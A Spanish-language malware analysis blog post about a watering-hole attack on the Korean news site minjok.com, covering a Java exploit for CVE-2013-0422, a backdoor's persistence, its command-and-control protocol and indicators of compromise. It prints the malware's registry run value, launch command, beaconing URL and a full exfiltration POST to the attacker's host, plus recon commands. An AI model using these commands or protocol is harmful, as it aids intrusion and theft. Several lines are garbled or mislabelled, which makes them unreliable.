Emboscada para coreanos peculiares

Mientras investigábamos la propagación de PlugX mediante exploits para Java, nos topamos con un sitio infectado que contenía un applet malicioso para Java dirigido a la vulnerabilidad CVE 2013-0422. Este applet malicioso para Java se detectó de forma heurística, con veredicto genérico para esa vulnerabilidad, y hubiese sido casi imposible encontrar ese particular sitio entre miles de otros en los que se detectaron aplicaciones maliciosas para Java mediante el veredicto genérico. Sin embargo, en aquel momento llevábamos a cabo una investigación específica que ayudó a que este sitio apareciera en las estadísticas de unos cuantos resultados de búsqueda. Bueno, en honor a la verdad, se trató de un falso positivo en cuanto al criterio de búsqueda, pero en este caso fue un error con suerte.

El sitio malicioso era un recurso de Internet llamado – minjok.com y resultó ser un sitio de noticias en inglés y en coreano, que cubría especialmente los acontecimientos políticos en la península coreana. Nos pusimos en contacto con el encargado del sitio para advertirle sobre la infección, y aunque no recibimos respuesta, el sitio se cerró poco después.
Así se describe minjok.com en http://www.northkoreatech.org/the-north-korean-website-list/minjok-tongshin/:


Descripcion de minjok.com

El responsable de Minjok-Tongshin es un coreano-americano llamado “Ken Kilnam Roh” que, aparentemente, vive en California, y que busca la reunificación de las dos Coreas y quiere ver unidos y felices a todos los coreanos y que vivan como una sola nación. Por desgracia, no existe una solución sencilla que satisfaga a ambas partes, y más bien, cada una está vigilante con lo que sucede en la otra. Ya podemos imaginarnos los temas de cobertura en este sitio de noticias y el tipo de lectores interesados en sus contenidos; los temas son delicados y su público son coreanos políticamente activos. Y este sitio es perfecto para lanzar ataques del tipo “watering hole” si uno quiere saber qué es lo que piensan los activistas coreanos o incluso lo que pretenden hacer respecto a la compleja situación entre Corea del Norte y Corea del Sur. Y esto es exactamente lo que alguien hizo.

Sitio infectado

El sitio se infectó y los ciberatacantes añadieron una sola línea en un código de una página que mostraba las noticias más candentes sobre la península coreana.


Applet malicioso inyectado

HKCUSoftwareMicrosoftWindowsCurrentVersionRun
bspire = ?%systemdrive%:Tempagentm.exe BSPIRE

Esta línea de código obligaba al navegador del visitante a descargar y ejecutar el applet malicioso para Java alojado en el sitio. Si tenía éxito, se descargaba un archivo ejecutable malicioso en el equipo de la víctima y se ejecutaba sin que ella se entere. Este archivo ejecutable también se alojaba en el sitio infectado, con su nombre camuflado como imagen GIF.

El archivo ejecutable es un programa malicioso que actúa como un sencillo descargador e instalador para la próxima etapa del ataque. Primero crea la carpeta “%systemdrive%:Temp” y guarda en ella un archivo llamado “agentm.exe”. También crea el siguiente valor de registro:

cmd.exe /c dir c:windows & cmd.exe /c for /f %a in (‘dir /a /s /b %systemdrive%tempagentm.exe’) do (%a BSPIRE)

para asegurarse de que en la siguiente etapa “agentm.exe” se ejecute cada vez que el sistema operativo arranque. Y, por supuesto, el archivo “agentm.exe” se inicia inmediatamente después de la instalación mediante el siguiente comando de ejecución:
cmd.exe /cdirc:windows & cmd.exe /c for /f %a in (‘dir /a /s /b %systemdrive%tempagentm.exe’) do (%a BSPIRE)


Proceso infeccioso

Agentm.exe es un troyano puerta trasera que se conecta con el siguiente servidor de comando y control: mailsgoogle.com. Este servidor de comando y control responde a la dirección IP 146.0.79.133 en Holanda, pero se trata de un servidor dedicado que una firma de telecomunicaciones rusa ofrece en alquiler Hostkey. El dominio del servidor de control y comando, mailsgoogle.com, se registró en diciembre de 2012 con la dirección richard.blosser@aol.com.


Datos de registro de mailsgoogle.com

Para que funcione como se pretende, el troyano puerta trasera debe ejecutarse con el argumento “BSPIRE”. Si el programa se ejecuta sin el argumento correcto, calcula los siguientes nombres de proceso para buscar entre los procesos en ejecución:

XxXlorer.exe en caso de ausencia de argumentos;
XxXlorer.exe en caso de que exista un argumento pero que no sea “BSPIRE”;

Si el argumento es “BSPIRE”, genera el nombre de proceso “explorer.exe”, al cual se inyecta.

Un rasgo notable de este programa malicioso es que forma hilos de texto byte-por-byte a lo largo de toda su extensión:


Construccion de hilos por caracteres

Esta no es una técnica inusual, pero este programa malicioso la usa de una manera bastante exagerada, obviamente con fines de ofuscamiento.
Una vez que “explorer.exe” se localiza en la memoria, el agente inyecta una parte de sí mismo en el proceso y de forma remota inicia un hilo de su código en el contexto de “explorer.exe”. Este hilo realiza todas las principales tareas del programa malicioso. Aunque el programa malicioso está configurado para ejecutarse sólo una vez cuando arranca el sistema operativo, después de que se inyecta en “explorer.exe”” crea un mutex con el nombre WIN32_BLACKSPIRE_02 para evitar ejecutarse repetidamente al mismo tiempo.

El troyano puerta trasera se conecta al servidor de control y comando mediante peticiones HTTP GET:

mailsgoogle.com/bbs/board.php?bincode=<base64 encoded string>

El hilo codificado contiene la fecha y la hora de la ejecución del agente inicial, por ejemplo: [2013-04-15 13h00m00s334]. Este dato y la URL para conectarse al servidor de control y comando se destinan al archivo llamado “%systemdrive%Temppassing.dat” que el agente inicial guarda. Posteriormente, el código inyectado desde “explorer.exe” lee el archivo, lo que le permite al autor del programa malicioso migrar los datos de uno a otro componente del programa malicioso.

El troyano puerta trasera es bastante sencillo: realiza sólo dos acciones mediante comandos desde el servidor de control y comando: descarga para que se ejecute y se autodesinstale una Dynamic Link Library. Si el servidor de control y comando envía una DLL, el troyano puerta trasera la guarda con el nombre “winnt32x.dll” en la carpeta temporal del sistema; después la carga con LoadLibraryA y llama a la función de exportación de la biblioteca run. Cuando la función run termina de ejecutarse, la bilioteca se descarga y se elimina el archivo “winnt32x.dll”.

The C&C doesn’t send additional libraries to an infected machine instantly; attackers push them when they explore what the computer has been netted.El servidor de control y comando no envía al instante bibliotecas adicionales al equipo infectado; los atacantes las envían cuando verifican que el equipo se ha incorporado a la red.

Esto refleja que se trata de un ataque dirigido. Durante nuestra investigación, observamos que después de un tiempo los atacantes cargaron dos tipos de bibliotecas. Varias bibliotecas del primer tipo no eran más que envolturas del comandodiren el equipo infectado con diferentes rutas para mostrar locaciones codificadas por contenido en el cuerpo de las DLLs. El segundo tipo era un ejecutor de otra utilidad de la línea de comandos: systeminfo. Estas bibliotecas envían comandos al archivo creado con la fecha y hora de ejecución en su nombre de archivo, por ejemplo:
[2013-04-16 11H01M19S000]_TYPE02
en la carpeta temporal del sistema. Entonces el envío se lee desde este archivo y se envía al servidor de control y comando codificado con BASE64. Este es un ejemplo de dicho envío:

POST /bbs/board.php?bincode=WzIwMTMtMDQtMTUgMTRoMDVtMzZzNTcxXQ==&opcode=true&rscode=WzIwMTMtMDQtMTYgMDRoMDRtMDRzNjA5XV90eXBlMDI= HTTP/1.1
Content-Type: multipart/form-data, boundary=mm1777multi3333headr
Host: mailsgoogle.com
Content-Length: 838
Connection: Keep-Alive

–mm1777multi3333headr
Content-Disposition: form-data; name=”file”; filename=WzIwMTMtMDQtMTYgMDRoMDRtMDRzNjA5XV90eXBlMDI=

//4gAFYAb [snip] AA0ACgA=
–mm1777multi3333headr?

En total, los ciberatacantes cargaron cuatro bibliotecas para que ejecuten los siguientes comandos:

cmd /c dir %appdata%
cmd /c dir c:
cmd /c dir d:
cmd /c systeminfo

Tras darse cuenta de que el sistema operativo no pertenecía a ninguna persona real (después de todo, era una máquina virtual de pruebas con un mínimo de recursos), los ciberdelincuentes perdieron interés y no hicieron más desde entonces.
Detectamos el programa malicioso referido con los siguientes veredictos:

Java app: javaupdates.jar (0x9d8e935ef2c509ea30df1bd88127cc34) – Exploit.Java.CVE-2013-0422.z
Dropper: images.gif (0xcd2690c325e9ca17cd99ba6b76a9fa25) – Backdoor.Win32.Agent.dboe
Agent: agentm.exe (0xaaf79582e81e4fdc340865650d9c74a6) – Backdoor.Win32.Agent.dboe

Curiosamente, se ha detectado el mismo exploit con la carga ejecutable alojado en forum.beijingshots.com. Por ejemplo, una sección del foro se autodescribe como una plataforma para conversar de forma gratuita; otra está dedicada a los derechos humanos. En general, se trata de un sitio en la Web en el que se discuten distintos aspectos, incluso políticos, pero en este caso sobre China. Recomendamos fervientemente a nuestros lectores que no visiten este recurso pues sigue infectado.

Según nuestros datos estadísticos, pocos usuarios han llegado a tocar estos recursos con intenciones maliciosas, la mayoría de los cuales está en EE.UU., Perú, Tailandia y Alemania.

Tomando en cuenta la forma en la que actuaron los atacantes, estamos seguros que se trata de ataques del tipo “watering hole” contra activistas coreanos y chinos. En este momento, no contamos con suficientes datos para señalar con exactitud al responsable de estos ataques. Y es probable que esto sea sólo una parte de una campaña de amplio alcance.

Sin embargo, quienquiera que sea el responsable y cualquiera que sea el alcance de los ataques, todos los usuarios que suelen visitar sitios de noticias sobre los sucesos políticos en Corea (y sobre activistas chinos) deberían tomar precauciones puesto que alguien los tiene en la mira en esta sucia cacería.

Publicaciones relacionadas

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *